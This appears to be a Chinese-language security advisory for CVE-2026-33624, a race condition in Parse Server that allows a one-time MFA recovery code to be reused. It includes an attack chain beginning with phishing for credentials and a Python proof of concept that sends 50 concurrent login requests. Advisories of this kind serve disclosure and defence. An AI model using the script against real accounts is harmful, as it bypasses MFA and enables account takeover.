IPBUF安全漏洞报告
English
CVE-2026-33624 CVSS 2.7 低危

CVE-2026-33624 Parse Server MFA恢复代码重用漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33624
漏洞类型
逻辑错误
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

Parse Server竞态条件逻辑漏洞认证绕过MFA

漏洞概述

Parse Server在特定版本前存在安全漏洞,攻击者在获取用户密码及单个MFA恢复代码后,可通过发送毫秒级并发登录请求,无限次重用该恢复代码。此行为破坏了恢复代码的一次性使用设计,导致多因素认证机制失效。利用该漏洞需掌握用户凭证并具备并发请求能力。

技术细节

该漏洞的核心在于Parse Server处理MFA恢复代码验证时的竞态条件。正常流程中,恢复代码验证通过后应立即失效。然而,当攻击者通过并发手段发送多个包含相同密码和恢复代码的请求时,服务器在处理第一个请求并执行失效操作前,可能已处理后续的请求。由于缺乏有效的并发锁或原子性检查,这些请求均能通过验证。这使得攻击者能够利用单一的恢复代码反复绕过MFA限制,虽然攻击前提较高(需密码和代码),但严重削弱了账户安全防线。

攻击链分析

STEP 1
1. 信息收集
攻击者通过钓鱼或其他手段获取目标用户的登录密码和一个有效的MFA恢复代码。
STEP 2
2. 构造攻击载荷
编写脚本,构造包含用户名、密码和该MFA恢复代码的登录请求数据包。
STEP 3
3. 触发竞态条件
在极短时间内(毫秒级)向服务器并发发送大量相同的登录请求,试图在服务器处理第一个请求并使代码失效前通过验证。
STEP 4
4. 绕过认证
由于竞态条件,多个请求成功通过验证,导致恢复代码被多次使用,攻击者成功获取访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import aiohttp # Target configuration TARGET_URL = "https://example.com/login" USERNAME = "[email protected]" PASSWORD = "user_password" RECOVERY_CODE = "123456" # Single use recovery code async def send_login_request(session): payload = { "username": USERNAME, "password": PASSWORD, "mfa_recovery_code": RECOVERY_CODE } try: async with session.post(TARGET_URL, json=payload) as response: status = response.status text = await response.text() return f"Status: {status}, Response: {text}" except Exception as e: return f"Error: {e}" async def main(): # Create a session to manage connections async with aiohttp.ClientSession() as session: # Launch multiple concurrent requests to trigger race condition tasks = [send_login_request(session) for _ in range(50)] results = await asyncio.gather(*tasks) for result in results: print(result) if __name__ == "__main__": asyncio.run(main())

影响范围

Parse Server < 8.6.60
Parse Server >= 9.0.0-alpha < 9.6.0-alpha.54

防御指南

临时缓解措施
建议用户立即升级到修复版本。如果无法立即升级,应监控是否存在异常的并发登录行为,并提醒用户妥善保管密码和恢复代码,防止凭证泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表